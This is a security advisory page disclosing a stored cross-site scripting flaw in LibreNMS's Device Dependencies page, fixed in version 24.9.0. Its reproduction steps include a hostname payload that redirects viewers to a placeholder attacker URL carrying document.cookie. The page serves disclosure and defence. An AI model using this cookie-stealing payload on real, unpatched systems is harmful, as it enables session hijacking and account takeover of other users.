---
title: "CVE-2024-47527"
date: "2024-10-01T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cve-2024-47527/"
---

# CVE-2024-47527

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Sep 29, 2024

CVE-2024-47527  **Published:** Oct 1, 2024

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')  7.5 High Severity librenms Stored-XSS XSS

RS Raphael Silva  Reported by Checkmarx Zero

Details Overview

## Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Device Dependencies” feature of the `@LibreNMS/LibreNMS` project allows authenticated users to inject arbitrary JavaScript through the device name (`hostname` parameter). This script executes when another user views the Device Dependencies page, potentially redirecting them to attacker-controlled sites and exposing session cookies.

## Product

This vulnerability affects LibreNMS versions prior to 24.9.0 in `librenms/includes/html/pages/device-dependencies.inc.php`.

## Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

## Steps to reproduce

1. Log into the LibreNMS web interface.
2. Add a new device with the hostname:

    `t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"`
3. Save the device.
4. Navigate to **Device Dependencies**.
5. Observe the browser redirect to the attacker’s URL, carrying the victim’s cookies.

### Expected result:

The browser redirects to the attacker-controlled URL (`https://<attacker_url>/?c=<victim_cookie>`), exfiltrating the user’s session cookie.

## Remediation

Fixed in LibreNMS 24.9.0 by escaping `row.hostname` and constructing HTML elements safely in `device-dependencies.inc.php`, preventing XSS.

## Credit

This issue was discovered and reported by Checkmarx Security Researcher [Raphael Silva](https://www.linkedin.com/in/raphaelcssilva/).

## Resources

1. [GHSA-rwwc-2v8q-gc9v](https://github.com/advisories/GHSA-rwwc-2v8q-gc9v)
2. [Fix commit](https://github.com/librenms/librenms/commit/36b38a50cc10d4ed16caab92bdc18ed6abac9685)
3. [NVD entry for CVE-2024-47527](https://nvd.nist.gov/vuln/detail/CVE-2024-47527)

0  High Severity CVSS v3.1 Score

   7.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low

Advisory Timeline1. Discovered Jul 31, 2024
2. Disclosed Aug 19, 2024
3. Fixed Sep 29, 2024 Patch released in LibreNMS 24.9.0

## Explore more findings

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